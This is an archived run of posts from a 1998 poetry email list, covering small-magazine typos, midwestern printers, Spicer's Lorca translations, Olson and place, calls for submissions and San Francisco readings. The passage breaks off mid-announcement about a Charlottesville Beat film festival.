address inquiry
Fri 23 Oct 1998

Can anyone backchannel the email address of Sergei Ziavalov in Russia? A phone number would be even better...

Bob

Robert Archambeau
Lake Forest College/Lund University (Sweden)

↑ Index

672. David Baratier
Re: errata & small magazines
Fri 23 Oct 1998

Patrick--

Even the largest journals I send to and have appeared in I have read and know enough people who have appeared there recently so I know the process they went through. If I really want to appear somewhere, I have read the journal / mag and many friends have told me of their positive experience appearing in their pages so I know what to expect long before sending. In some cases I have purposely chosen to send to a mag where I knew the text would be mangled. Not to single him out but Ken Warren's mag has tons of errors and I still want to appear there. It's like this:

A man walks down a path in winter and sees a poisonous snake on the ground. The snake is freezing to death and needs to be picked up in order to get warm and survive & finally the man does so upon promise of the snake not biting him. After a bit walking down the road the snake bites the man. As the man is dying he asks the snake why he did it.

"You knew what I was when you picked me up. It is within my nature." If one sends to a mag / journal without having seen it first they are unaware of the nature of the beast which quite obviously is not the beast's fault. The only time a question of trust should come up is when it is a brand new magazine.

Be well

David Baratier

↑ Index

673. Dale Smith
there's a typo at the end of this
Fri 23 Oct 1998

So much for the Dan Featherston Tribute issue . . . And thanks to my other contributors and compadres for many backchannels of support...

Aldon, I get what you mean by "demonstrable historical variability of the concept of race." Hoa also thinks that the unfortunate term, "blood" doesn't account for trans-cultural-hisorical productions of the concept of race. Other words I would offer are spirit and geist, but even those sound hollow in the _proof-is-truth_ materialism of social thinking. I'm only offering thoughts re: the passage and embodiment of racial experience and dialogue as I've witnessed it.

I'm reading a book called The Genealogy of Demons: Anti-Semitism, Fascism, and the Myths of Ezra Pound. Do you or anyone else know this work? Casillo,

the author, approaches Pound's anti-semitism with great depth, digging in to the mythic and psychic "structures" of Pound's personality as expressed in the Cantos. He addresses the perplexing and contradictory life and art of Ra by sifting through the mytholocial and spiritual (pagan, anti-old test/torah) elements that reveal the man's psychic jig-saw-like pieces. Not an answer to anything, but, an attempt to articulate demonic energy in our time...

>in fact, wouldn't the statement that there is a tendency to racism that's

>"in the blood" be a racist statement? unless one argues that all humanity

>has racism "always already" in the blood, which makes even less sense given

> *the demonstrable historical variability of the concept of race --*

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↑ Index

674. **dbkk**

Spicer's Lorca

Fri 23 Oct 1998

Dear Kent . . . others will probably reply to this one too, but the article you're thinking of is by Clayton Eshleman and it's called "The Lorca Working," first printed in "Boundary 2," Vol. VI, #2, fall, 1977. Really an intriguing article and quite complete. If you want me to send you a copy let me know.

Kevin Killian <---terribly glad to hear the news that Lisa Robertson's book "Debbie:an Epic" has been nominated for Canada's Governor Generals Award in Poetry. Could this have happened in the US? I don't think so. Go Lisa go!

Kevin Killian <--- crying over awful review in the "Vancouver Sun" which Donald Allen forwarded to me, review of "Poet Be Like God," a life of Jack Spicer which I wrote with Lew Ellingham, review which calls book "inept faggot gossip." Under cover of night I am sending ninjas to Canada, to homes and dwelling places of rival contestants for Governor Generals Award and also to "John Armstrong," reviewer for "Vancouver Sun." If you are on this list, "John Armstrong," be afraid. Be really afraid!

Date: Thu, 22 Oct 1998 11:28:13 -0500
From: KENT JOHNSON <[redacted]>
Subject: Spicer's Lorca

Dear Jonathan:

I noticed your response to Gabriel Gudding on the Spicer line. Do you in fact know of anyone who has done a poem by poem study of _After Lorca_ to figure out where the "translations" are translations and where they are not? Or in those poems that are "minotaurs," which parts are which? I seem to recall seeing something about Robin Blaser having at least gone into this, but I'm not sure. Have you, by some chance, done this yourself? I've been working on and off on an essay on JS's _After Lorca_ and would be very interested if you or anyone would know something about this.

Kent

↑ Index

675. **Karen and Trevor**
cheap but good printers
Fri 23 Oct 1998

As a sort of tangent to the small press discussion, I was wondering if anyone knew of any printers located in the midwest. I remember this discussion took place before... _Fourteen Hills_ has been using McNaughton & Gunn for what is now the third issue, and they are absolutely wonderful. But because we are funded by the university, I have to get bids for every issue. I haven't found a printer yet that can even remotely compete with M&G--usually the others bid at a price twice as high, and it's getting to the point that very few printers in California will even give us a bid anymore. I think this is very interesting, that M&G is so cheap because they are in the midwest--this is the only thing I can conclude. Has anyone else found a good quality printer at a reasonable price?

Karen McKevitt

↑ Index

676. **Gary Sullivan**
Re : errata & small magazines
Fri 23 Oct 1998

10/22

There is a roaring as poems going off
canon. ERROR ("you f.u.c.k") replaced like [CENSORED]

& what is become of our poems
adrift on this ugh raggedy crap heathen scene and [cough,

cough] goes the "poem."
Lost is the "poem." Me a

culprit, you[r] fuck ups shine over
& t a k e the "poem," which ["you"] do not endure. The "poem"
a bracelet for the wrist.

Shiny, shiny editor. What E[D]R[I]R[T]OR does it
[sex] come to [sex]

& at last I paste my publicity photo against your face.

10/23

If a man [sic] were to die with the "poem"
plunged in his [sic] vein
he [sic] would not have died in vain.

I ain't giving you head.

& if the terrifying weakness of editors
were not a specious argument of even weaker poets
we'd all be tempted to give everyone head. <DELETE

PASSAGE>

& why not.

("gone tomorrow")

What one prints: the unknown
words written in the brain
before they're fucked up
before their fuck up there in some magazine.

↑ Index

677. Michel Delville

POSTWAR AMERICAN POETRY / University of Liège , Belgium

Fri 23 Oct 1998

CALL FOR PAPERS

A two-day conference on POST-WAR AMERICAN POETRY will be held at the University of Liège, on March 3-4, 1999.

Participants include Maxine Chernoff and Paul Hoover. Abstracts / one-page proposals for papers on any aspect of post-war American poetry are invited. Possible topics might include, but are not limited to:

- anthologies; canon formation
- American poetry in an international context

- American poetry and multiculturalism/multilingualism
- the use, or nonuse, of traditional modes, genres, and subgenres
- the politics of poetic form
- poetry and the performing arts
- American poetry and postmodernism
- Language writing
- American poetry and the mass media

Please send abstracts and proposals, by January 15, 1999, to:

Michel Delville & Christine Pagnoulle
Université de Liège
Département d'anglais
3, Place Cockerill
4000 Liège
(Belgium)
Fax: [redacted]
e-mail: [redacted] or [redacted]

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

678. **Aldon Nielsen**
Re: Spicer's Lorca
Fri 23 Oct 1998

---

what is an "inept faggot" and why are they gossiping? I read the book and didn't see any ref. to any "inept faggots." Is this some Canadian thing?

Kevin -- how have the reviews been generally? My own feeling was that it's among the few books about which I can actually say it was worth the wait --

↑ Index

679. **John Latta**
Re: cheap but good printers
Fri 23 Oct 1998

Karen McKevitt wrote:

> *As a sort of tangent to the small press discussion, I was wondering if anyone knew of any printers located in the midwest.*
> *I remember this discussion took place before...*
> *_Fourteen Hills_ has been using McNaughton & Gunn for what is now the third issue, and they are absolutely wonderful. But because we are funded by the university, I have to get bids for every issue. I haven't found a printer yet that can even remotely compete with M&G--usually the others bid at a price twice as high, and it's getting to the point that very few printers in California will even give us a bid anymore.*
> *I think this is very interesting, that M&G is so cheap because they are in the midwest--this is the only thing I can conclude. Has anyone else found a good quality printer at a reasonable price?*
>
> *Karen McKevitt*

Karen:

There are a number of short-run printers around Ann Arbor, apparently cheaper than other parts of the country because none are unionized. About twelve years back, when I was looking for a printer for the final issue of Chiaroscuro, I think I got bids from most of the following. And ended up going with McNaughton & Gunn. But you might try some of these:

Thompson-Shore [redacted]
Edwards Brothers [redacted]
Bookcrafters [redacted]
Braun-Brumfield [redacted]

For others, for reference:

McNaughton & Gunn [redacted]

I'd be happy to give further details on any of these. (Telehone book open on my desk).

All the best,

John Latta

↑ Index

680. **sylvester pollet**
Re: cheap but good printers
Fri 23 Oct 1998

Have you tried Cushing-Malloy in Ann Arbor MI? They do many of the National Poetry Foundation books. Let me know if their estimate is much higher than what you get from McN&G! best, Sylvester

At 9:55 AM -0700 10/23/98, Karen and Trevor wrote:
>As a sort of tangent to the small press discussion, I was wondering if
>anyone knew of any printers located in the midwest.
>I remember this discussion took place before...
>_Fourteen Hills_ has been using McNaughton & Gunn for what is now the
>third issue, and they are absolutely wonderful. But because we are
>funded by the university, I have to get bids for every issue. I haven't
>found a printer yet that can even remotely compete with M&G--usually the
>others bid at a price twice as high, and it's getting to the point that
>very few printers in California will even give us a bid anymore.
>I think this is very interesting, that M&G is so cheap because they are
>in the midwest--this is the only thing I can conclude. Has anyone else
>found a good quality printer at a reasonable price?
>
>Karen McKevitt

↑ Index

681. **r. drake**
Re: cheap but good printers
Fri 23 Oct 1998

---

karen--

i've had good results working w/ Thomson-Shore (7300 W. Joy Rd., Dexter MI 48130; [redacted], www.tshore.com). there are a number of others in the ann arbor area, dunno why there's such a concentration of printers there but praps that accounts fr th low rates...

luigi
burning press

> *As a sort of tangent to the small press discussion, I was wondering if*
> *anyone knew of any printers located in the midwest.*
> *I remember this discussion took place before...*
> *_Fourteen Hills_ has been using McNaughton & Gunn for what is now the*
> *third issue, and they are absolutely wonderful. But because we are*
> *funded by the university, I have to get bids for every issue. I haven't*
> *found a printer yet that can even remotely compete with M&G--usually the*

> *others bid at a price twice as high, and it's getting to the point that very few printers in California will even give us a bid anymore.*
> *I think this is very interesting, that M&G is so cheap because they are in the midwest--this is the only thing I can conclude. Has anyone else found a good quality printer at a reasonable price?*
>
> *Karen McKevitt*

↑ Index

682. **P.Standard Schaefer**
Re: cheap but good printers
Fri 23 Oct 1998

I recommend Thompson-Shore. In my opinion, they're higher quality than McNaughton-Gunn and for my purposes better priced. I'm under the impression from talking to a few other editors that have used the two that TS has fewer mistakes. But I suspect that the best person to ask is Douglas Messerli. He seems to have used them all.

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683. **Dale Smith**
Re: coupla q's
Fri 23 Oct 1998

Ron, I don't understand this and wondered if possibly you could elaborate.

> *But there were obvious flaws with this equation, especially with Olson's superimposition of Place on top of the whole, so that the prospect of writing in this tradition began to appear to be a "fill in the blank" completion of an already implicit literary geography (as in "he breaks his lines just like someone from Ukiah"). Each succeeding poem would thus be a less significant formal act.*

By "whole" do you mean the poem, langauge, the poet, the whole complex relation of the self to an extended social/historic fabric? I don't understand how Olson's articulation of the line and breath as he saw it led to a fill-in-the-blank poetics of regionalism. In addition to a poet's Geography (literary and physical) don't other things like mood, temperment and personality quirks fit into the process in ways that vary regional distinctions? Olson's writing really seems to express that, that personality as much as place drives the poem toward its greatest possibilities.

I can understand shifting the focus from the line and the poem to the sentence and the paragraph. But I don't understand how geography was somehow the impetus for that. Or am I naive and misunderstanding something?

Thanks,
Dale

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↑ Index

684. LIsa Birman
BOMBAY GIN - call for submissions
Fri 23 Oct 1998

BOMBAY GIN, the annual literary magazine at The Jack Kerouac School of Diesembodied Poetics at The Naropa Institute, is currently accepting submissions for the 1999 25th Anniversary Commemorative Issue.

To submit to Bombay Gin:
Send 3-5 pages of poetry; 5-10 pages of fiction or prose (Mac Format, 12 point Palatino or Times); Art (slides, negatives or prints)
with SASE to:
Bombay Gin
The Naropa Institute
2130 Arapahoe Ave.
Boulder CO 80302

Deadline is December 1, 1998.

To receive a sample copy of last year's Bombay Gin, send $5 (check or money order) to the above address. Current issues (1998) are available for $10. Excerpts from the 1998 issue may also be viewed at www.naropa.edu

The 1999 edition of Bombay Gin is supported in part by the Colorado Council on the Arts, a state agency.

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685. henry gould
Re: coupla q's
Fri 23 Oct 1998

On Fri, 23 Oct 1998 11:28:58 PDT Dale Smith said:
>In addition to a
>poet's Geography (literary and physical) don't other things like mood,
>temperment and personality quirks fit into the process in ways that
>vary regional distinctions? Olson's writing really seems to express

>that, that personality as much as place drives the poem toward its
>greatest possibilities.

Hey, where have you been, Dale? Don't you realize that with the coming of Poshlosternism, mood, personality, geography, quirks - none of these things exist anymore! There's only WRITING, there's only WORDS, there's only the POEM-OBJECT-THINGUM that will liberate you with a cool ice gelato of surreal continental discombobulations! The Manner is the manor, the Artifact is the arty confect! Them things you mentioned - they just get way of ART as we can never know it today! - Jack Spandrift

↑ Index

686. megan minka lola camille roy
Laura Moriarty and Aaron Shurin Reading in SF
Fri 23 Oct 1998

Hello everyone,
I have an announcement:
New Langton Arts is presenting a reading by Laura Moriarty and Aaron Shurin.
Details:
October 24, 1998
8:00 PM
$8.00 general, $6.00 students
at New Langton Arts
1246 Folsom Street
San Francisco, CA 94103
[redacted]

Laura Moriarty's recent books are "Spicer's City" (Poetry New York), "Symmetry" (Avec Books), and "like roads" (Kelsey st Press), among others. Forthcoming is a short novel "Cunning" from Spuyten Duyvil. Winner of the 1983 Poetry Center Book award, Moriarty is currently the editor of a poetry and poetics Web site at socrates.berkeley.edu/~moriarty

Aaron Shurin is the author of "Unbound: A Book of AIDS", "Into Distances", and "Narrativity", all published by Sun & Moon Press. Among his other books are "The Graces" (Four Seasons), "A's Dream" (O Books), and "Elsewhere" (Acts Books). He has been the recipient of both a Creative Writing Fellowship (from the NEA) and a Gerbode Poetry Award.

Thanks!
minka megan camille roy, etc.
--
&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&
Go there:
http://www.grin.net/~minka

"everything that's said gets swallowed, and that isn't fatalism of the 19th century either." (L. Scalapino)

↑ Index

687. **acgold01**
Spicer's "translations," and Chris Stroff.
Fri 23 Oct 1998

Kent--If you don't mind backchanneling me with a reminder, I'll try to track down an old Clayton Eshleman essay that was in Boundary 2 years ago where, if I remember rightly (which I may not), he addresses your question about Spicer's Lorca and translation. If folks are interested, I'll post the ref. to the list.

Chris Stroffolino--Backchannel me, s'il vous plait--I've lost your e-ddress.

Alan

↑ Index

688. **Lisa Trank**
Typos abound, especially on Fridays
Fri 23 Oct 1998

Ah well, we renamed our school, combining diesel and disembodied into one word. The official title is, as you all know:

Jack Kerouac School of DISEMBODIED Poetics.

Now that we have made the typos on this list, we will not have to make them in the magazine.

Ta Ta -

↑ Index

689. **Safdie Joseph**
Re: coupla q's
Fri 23 Oct 1998

I addressed a similar question as Dale's yesterday to Ron, and as it may have reached him after he had set out to California, I repeat it now for the List at large. If anyone other than Ron had some reactions to this point it might be valuable as well . . . _____

Ron, thanks for this coherent answer to Maria's question -- which deals with the time I was discovering your work as well. May I ask you exactly what this means, though?

"But there were obvious flaws with this equation, especially with Olson's superimposition of Place on top of the whole, so that the prospect of writing in this tradition began to appear to be a "fill in the blank" completion of an already implicit literary geography (as in "he breaks his lines just like someone from Ukiah"). Each succeeding poem would thus be a less significant formal act."

Where exactly does he "superimpose Place on top of the whole"? In Projective Verse? Or in his work as a whole? If the latter, can one accurately juxtapose the two concerns, namely, Place and Breath Line? Isn't everyone's sense of breath a little different (contain more quantity or quality), so that conceivably no two so-called "projective verse" poems would ever look alike (if such ever existed)?

No argument with his and WCW's general "jingoism" -- although I've always found value in knowing one's own history, it's the exclusivity that's the problem there -- but would you also then, along with Marjorie, claim that the earlier Williams in "Spring and All" is much superior to the later (perhaps stroke-induced) three-step lines and thus, for example, "Asphodel"?

Joe

Ron, I don't understand this and wondered if possibly you could elaborate.

> *But there were obvious flaws with this equation, especially with Olson's superimposition of Place on top of the whole, so that the prospect of writing in this tradition began to appear to be a "fill in the blank" completion of an already implicit literary geography (as in "he breaks his lines just like someone from Ukiah"). Each succeeding poem would thus be a less significant formal act.*

By "whole" do you mean the poem, langauge, the poet, the whole complex relation of the self to an extended social/historic fabric? I don't understand how Olson's articulation of the line and breath as he saw it led to a fill-in-the-blank poetics of regionalism. In addition to a poet's Geography (literary and physical) don't other things like mood, temperment and personality quirks fit into the process in ways that vary regional distinctions? Olson's writing really seems to express that, that personality as much as place drives the poem toward its greatest possibilities.

I can understand shifting the focus from the line and the poem to the sentence and the paragraph. But I don't understand how geography was

somehow the impetus for that. Or am I naive and misunderstanding something?

Thanks,
Dale

↑ Index

690. **tracy s. ruggles**
Re: Typos abound, especially on Fridays
Fri 23 Oct 1998

When I was attending, we heard rumors from C.U. that it had been renamed the "Jack Kerouac School of DISEMBOWELED Poetics"...

--trace--

On Friday/23.October.1998 1.42.31pm, Lisa Trank wrote:
>
> Ah well, we renamed our school, combining diesel and disembodied into one word.
> The official title is, as you all know:
>
> Jack Kerouac School of DISEMBODIED Poetics.
>
> Now that we have made the typos on this list, we will not have to make them
> in the magazine.
>
>
> Ta Ta -
>

↑ Index

691. **KENT JOHNSON**
The House that Jack Built
Fri 23 Oct 1998

Dear Kevin and Dear Alan:

Thank you for offering to track down the Eshleman essay. In fact, about ten minutes after I sent the query, the college librarian called to tell me that Peter Gizzi's _The House that Jack Built_ had just arrived. Talk about spooks! The bibliography there has the citation for CE's article along with a number of other essays on After Lorca that I didn't know about. By the way, the bibliography also mentions a wonderful pamphlet written a few years ago by Ed Foster, entitled simply _Jack Spicer_. It's the first citation I've seen of this furtive little gem

(wondering why it wasn't listed in _Poet be Like God_?) and some of you may want to track it down. It's published by Boise State, of all places.

Spicer fan that I am, I've been reading Gizzi's book since yesterday, and it is fascinating. The transcripts of Spicer doing genius talk and doing so off the top of his head make one feel like the top of one's head is coming off. And Gizzi's long afterword is simply tour de force. A great book, and now all of a sudden we have two big magnificent books on Spicer. Hip Hip Hurrah for Wesleyan, even if they first accepted Yasusada and then rejected him.

Kent

↑ Index

692. **Aviva Vogel**
Re: The House that Jack Built
Fri 23 Oct 1998

In a message dated 10/23/98 6:09:25 PM Eastern Daylight Time, [redacted] writes:

<< and now all of a sudden we have two big
magnificent books on Spicer. Hip Hip Hurrah for Wesleyan, even if
they first accepted Yasusada and then rejected him. >>

↑ Index

693. **ken|n|ing**
Re: errata & small magazines
Fri 23 Oct 1998

Wanted to clarify, if I must. As per David's strange post which assumes every one in the poetry game is a beast, or as opposed to David's parabole, I will just say (metonymically speaking) two things. The issue, as I see it, is really rather petty and childish at the level of Dan & David's posts. Not that they are not legitimate concerns, or that the posts themselves were childish, but the issue is larger, essentially. Any avant-garde requires some sense of trust and cooperation, period. The issue is not Mike & Dale's Younger Poets. Not at all. In fact my previous comments (metaphorically speaking) come out on the side of the editors, no? Was afraid no one was able to make the [obvious?] miniscule leap from the particular to the general. Patrick F. Durgin

|
|
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

694. **W. Freind**
Yasusada/Weinberger
Fri 23 Oct 1998

Anybody know when Eliot Weinberger's piece on Yasusada ran in the Village Voice? I had an e-version, but lost it when I switched hosts. B/C, please.

Bill Freind

↑ Index

695. **Kathy Lou Schultz**
Re: errata & small magazines
Fri 23 Oct 1998

Ah, the time has come for proofreaders to get their due. I worked for FOUR YEARS as a legal proofreader, day in, day out, working full-time while doing that god-forsaken MFA. I've also worked as a copy editor, editor, etc., and guess what folks? Proofreading is a SKILL. It takes a helluva lot of work, energy, and attention. Being a good editor doesn't mean you're also a good proofreader. Being a good writer doesn't mean you're also a good proofreader. But we ALL miss errors ALL the time. Moral of the story: get someone, and then someone else, to read behind you. And every time you see those squeeky-clean small mags, know someone sweated blood and then some to get it right. Ironically, in the publishing world, these are the people who are paid the least. Typical.

Thanks to all you editors out there doin' your deed. Keep it up kids.

p.s. Please direct any comments as to proofreading errors in this post to my current boss whereupon I shall receive proper chastisement.

Thanks,
Kathy Lou

↑ Index

696. **David Baratier**
Re: errata & small magazines
Fri 23 Oct 1998

I am a bit parabolic in my meanderings, I thought a known blues example involving a snake would lend a certain pitch which has apparently been lost. I am assuming the following:

1. People with previously said complaints don't read the magazines they send to. If they were familiar with them they would know what the magazines entail. I have no problem with M&D, just with a contributor griping about it. Mike & Dale & Hoa went through the trouble to put together an issue; that proves merit, intent and dedication to the art. The act of someone writing something and sending it means nothing. It is a self serving act which anyone can do. Any mailbox can attest to that. Submitting means less than nothing if the author is not respecting the space they send work into. If the error is that big a deal, there is only one solution I know: start a magazine. I started a journal five years ago because I was disgusted with the fact that there were few worth reading.

2. I fail to see how proofing problems debilitate the notion of avant-garde.

^^the issue is larger, essentially. Any avant-garde requires some sense of trust and
^^cooperation, period.

3. Upholding the notion of avant-garde is petty in and of itself. Unless there is some individual gain or livelihood which depends upon upholding the "avant-garde" why would one forward this idea? Let alone conflegrate this issue as if there is an importance in specificity. If I substitute: Any magazine requires some sense of trust and cooperation, period, that statement appears too obvious to be what we are supposed to head for. So what is the larger issue? I trust certain folks based upon the work they have done & they do the same. I have faith they will perform comparable work in the near future & so on.

Be well

David Baratier

↑ Index

697. **Karen Kelley**
Re: errata & small magazines
Fri 23 Oct 1998

I edit & proofread technical materials, and can attest to the fact that no matter how hard you work, there's always *something* amiss, even if only an extra spacing or a missing period. And until you rev the manual, you always remember every flaw & its location.

And after the revision, of course, there are new & ever more horrifying errors.

Sure, it is awful, seeing a bit fat typo in the middle of your poem, but in the grand scheme, isn't the actual underpaid (if at all), sore-eyed, low-blood-sugar-suffering-before-lunch-and-the first-of-the-month's-coming-and-rent-due,

etc.etc., person trying to do right by your work more deserving of our compassion than any great American poem???

Kathy Lou Schultz wrote:

> *Ah, the time has come for proofreaders to get their due. I worked for FOUR YEARS as a legal proofreader, day in, day out, working full-time while doing that god-forsaken MFA. I've also worked as a copy editor, editor, etc., and guess what folks? Proofreading is a SKILL. It takes a helluva lot of work, energy, and attention. Being a good editor doesn't mean you're also a good proofreader. Being a good writer doesn't mean you're also a good proofreader. But we ALL miss errors ALL the time. Moral of the story: get someone, and then someone else, to read behind you. And every time you see those squeeky-clean small mags, know someone sweated blood and then some to get it right. Ironically, in the publishing world, these are the people who are paid the least. Typical.*
>
> *Thanks to all you editors out there doin' your deed. Keep it up kids.*
>
> *p.s. Please direct any comments as to proofreading errors in this post to my current boss whereupon I shall receive proper chastisement.*
>
> *Thanks,*
> *Kathy Lou*

↑ Index

698. **A. Jenn Sondheim**
poetics theory
Sat 24 Oct 1998

-

Consent, s/ms' World, says

In Terry Winograd and Fernando Flores, Understanding Computers and Cognition, the authors, playing off Maturana's "Biology of Language," write: "Language, as a consensual domain, is a patterning of 'mutual orienting behavior,' not a collection of mechanisms in a 'language user' or a 'sem- antic' coupling between linguistic behavior and non-linguistic perturba- tions experienced by the organisms. [P] Maturana points out that language is connotative and not denotative, and that its function is to orient the orientee within his or her cognitive domain, and not to point to indepen- dent entities." Thus we can speak of Umwelt, which connects with the mic- roworlds developed early on by Winograd. The word "consensual" is employed by Maturana, of course, but there are issues, right from the start of pol- itical economy and idiolectical defense mechanisms: "I refuse to be under- stood," said Julu, while Jennifer, thinking the same, refused to speak at all.

The positing of mutual orientation, which Maturana has been stressing for decades, problematizes the truth-functional aspects of language, while salvaging performatives for the processes of orientation. One might also see the orientations among actants, which may be virtual or real or virtu- al-real, depending on one's ontology, among other things/emissions.

One might also bring a psychologized Bourbaki into play, considering such orientations the result of partial mappings among mother-structures which constitute fuzzy domains of fuzzy behaviors.

Here is a Maturana quote from the book: "When two more more organisms interact recursively as structurally plastic systems, ... the result is mutual ontogenic structural coupling.... For an observer, the domain of interactions specified through such ontogenic structural coupling appears as a network of sequences of mutually triggering interlocked conducts.... The various conducts or behaviors involved are both arbitrary and con- textual. The behaviors are arbitrary because they can have any form as long as they operate as triggering perturbations in the interactions; they are contextual because their participation in the interlocked interactions of the domain is defined only with respect to the interactions that con- stitute the domain.... I shall call the domain of interlocked conducts... a _consensual domain._"

Julu is turned out by mother-structure Nikuko in a rite that involves consent and consensual construction of a world, or phenomenological hor- izon; the stage is the sememe, offered, proffered, controlled. Julu is always already within the theatrical scene, much as Brenda Laurel speaks of theater in relation to human-computer interactions, and Jennifer might speak of, in relation to Julu and Alan, Alan and Nikuko, of sado-maso- chisms. These s/ms are part-objects, relays, micro-contracts among parti- cipants, willing or not; they involve the impetus of one or the other or both to remain within the game, which is always a game since it is the rule-giving or rule-structuring of the real, in dialectic. Think of the s/ms as lightnings across the sememe, _fissurings_ which pass as _inscrip- tions,_ - in other words, divisions of same/same passing as epistemological operations of classification: _x_ and _not x_ - or, more to the point: Now! and Not now!

What is marked is time, the impetus/impulse/inertia of _remaining in the game,_ of language and consent: in other words, The Game of Remaining in the World.

The game involves consent. The game involves desire and s/ms. The game is always partial, always close to breakdown, rupture, fissuring, splits and splays which require further-culture to heal.

There's no truth to the game; there are performatives. Every statement is performative, and every performative, a statement. Everything _construes._

The game is all the truth there is, and for further truth, there are events, defined (as I've pointed out elsewhere) as the union of attributes filtered by k-ply intersections of descriptions. (For example, one has 20 descriptions of an event, with a total of 8 attributes; let k = 3, then look for those attributes mentioned in at least 3 descriptions; take the union of these attributes as a best-fit description of the event.) Attri- bution becomes a primary focus - both for the constitution of meaning, and the development of the appearance of autonomy vis-a-vis superstructural symbolic domains: the real-virtual, or the virtual-real, take your pick.

This is not to say that there is no asymbolic; in fact, consensuality skirts the asymbolic and asymbolia, and may as well (best fit) be founded on the same. Only that, when one moves into the realm of the virtual, one is also confronted by issues of constitution, languaging, and protocols; consensuality becomes charged and operative and, to the extent that it is synonymous with handshaking, the only game in town.

So we might go in circles here, says Julu. As long as you are chained to me, replies Jennifer, new at the game, but shaved and ready as the perfect mirror.

(The pain of the world, says Jennifer? There's no game there; it enters elsewhere, but every confrontation with death is private, an idiolect of murmurs, silences, of mother-structures _with no sense at all._ She purred [reminding one, said Alan, that wounded cats may purr as well, cats' bell tolling in the distance. And the bell? An s/m. And the purr? an s/m too, as every thing, non-thing, as in nothing, word to the mother "as well."].)

↑ Index

699. david bromige
re : errata & small magazines
Sat 24 Oct 1998

I wonder when the phrase "little magazine" became "small ditto"?

But I do not write tonight primarily to raise that question. I write to register incredulity that I am being told I should tolerate typos because editors mean well. Next, we shall be advised to _enjoy_ our typos! Well, on the heels of yesterday's botched job, just look at what I received today, and imagine my feelings. . . this is the last time I shall trouble the List with my bad luck in this respect. It's too exasperating. This little poem was called "Crystal Rock Shop" when it left my hands :

CLYTAS SOCK HOP

Two cystals danegeld
from here ares. Her
lipstucks were blod.
He was gait alight.

Noting out of pace,
scathing his sweatheat's mane
in the already defacted tunk.
She drank heavely, bluew.

Surfered with minstrel tramps
and dislikes of her.
Tow moanratic Spanrods,
senderading bnaith blagonies.

They dindont relish that
the thames had clanged.
How could do joustice
to thir bindless?

  Not this werter,
  hwom never gridated collage.

I always seek the lesson to be drawn. In such cases, maybe we need recall John Lennon's phrase, "Life is what happens while we are making a plan." Everyone tries the best they know how. We were living in the forest canopy just a short while ago.

Many b-c requests to name the magazine that travestied last night's posted poem, I shall ignore. And again tonight. But the editor in this instance is a man named Gorbwine. David.

↑ Index

700. **dbkk**
Spicer, Foster, Notley, Mac Adams
Sat 24 Oct 1998

Kent Johnson writes:

>By the way, the bibliography [of "The House That Jack Built"]
also mentions a wonderful pamphlet written a few years ago by Ed
Foster, entitled simply _Jack Spicer_. It's the first citation I've
seen of this furtive little gem (wondering why it wasn't listed in
Poet be Like God?) and some of you may want to track it down. It's
published by Boise State, of all places.

Hi, it's Kevin Killian. Edward Halsey Foster's little hand book in the Boise State "Western Writers Series" (1991) really is a terrific one, though if I remember correctly when it came out Ed felt rather bitter about the fact that his editors had summarily cut out about a third of his text, which I have bugged him to show me, but he has strong opinions about or superstitions against revealing his unpublished work. Will I sound like a nit picker if I aver that this pamphlet is indeed cited in "Poet Be Like God," at least on page 381?

We have had some extraordinary poetic events lately here in San Francisco. The reading Alice Notley gave on Thursday for Small Press Traffic drew a huge audience, so that we had to keep adding more and more rows of chairs in front, and still more, so she was reduced to standing in one precise place, while people sat on either side and even behind her and the microphone, the stage looked like the end of "Carousel" where the graduates sing "You'll Never Walk Alone." Notley responded in kind by giving an amazing reading of parts of "Mysteries of Small Houses," then moved on to the noir pulp newsreader "novel," DISOBEDIENCE, and then scared everyone silly with the new "Byzantine" material, channeling voices a la Hannah Weiner or Tina Darragh and provoking a tremendously felt ovation. Some stood up, clapping, cheering, wiping tears from eyes, hollering hoarsely, as though Maria Callas had just left the stage.

Last night, Friday, the Poetics Program at New College brought Lewis Mac Adams here for a reading to launch his new book "The River" (Blue Wind Press). Mac Adams explained that he had been out of the circuit for many years (15?), had not published anything, had been devoting all his time to environmental causes, and had been coaxed back in to publishing and reading by Michael Price, Kevin Opstedal and Dale Smith who, between them (among them?) had returned him to writing. "The River" is a very fine book (and only six dollars) and my hat is off to Mac Adams for a grand return and to Mike, Kevin and Dale for doing a grand and honorable thing in provoking, assisting and facilitating this rebirth. The old "Bolinas" crowd was there in full force but I didn't see to many younger people, perhaps because the name "Lewis Mac Adams" has been nearly forgotten thanks to some principle of silence that Ron Silliman has no doubt written up wisely. Anyhow after these two last evenings of great emotion I look forward to tonight's Shurin/Moriarty event to complete this hat trick. Don't talk to me on Sunday, I'll be like this--drained out rag . . .

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701. **Matt Kirschenbaum**
beats in Charlottesville
Sat 24 Oct 1998

Poetics people within range of Charlottesville, VA may be interested in the following events, which are part of the Virginia Film Festival (this year's theme: "Cool").

[Sorry for the low-res formatting; see http://www.virginia.edu/~vafilm/1998/releases/rel_beat.html for the original version, and http://www.virginia.edu/~vafilm/ for general information about the film festival (including how to order tickets, etc.)]

Matt

--

Beat Events

Glory Days: The Beat Generation Photographs of Fred W. McDarrah
Exhibition: October 2 - December 23
Bayly Art Museum, University of Virginia
Picture editor of the Village Voice for 35 years, Fred W. McDarrah produced a photographic chronicle of the Beats. Many
of McDarrah's evocative photographs -- reflecting the "glory days" of poetry readings, jazz, cafe life, parties, performances
and the ordinary life of extraordinary Americans -- will be on display.

Panel Discussion and Gallery Talks

The Beat Period: What Was Happening, What It Meant, and How It
Significantly Related to American Artistic Tradition, Far Eastern Art and
Thought, and European Phenomenology and Existentialism
Thursday, October 22, 5:30 p.m., Campbell Hall 153, adjacent to the Museum
Lecture by Neil Chassman, a member of the New York poetry scene in the mid-1960s and curator of the ground-breaking
exhibition Poets of the Cities: New York and San Francisco, 1950-65.

The Art of Hans Hofmann
Friday, October 30, noon, Bayly Art Museum
Ken Jacobs, a former student of Hofmann and a featured artist in this year's Virginia Film Festival, will discuss Hofmann's
art and influence

The Art of Spontaneity Panel
Saturday, October 31, 1:00 p.m., Campbell Hall 158
Exploring the links across jazz improvisation, Beat poetry, underground film, Zen Buddhism, and Abstract Expressionism,
with David Amram, Ken Jacobs, Fred and Gloria McDarrah, Diane di Prima, and Ed Sanders, moderated by Daniel
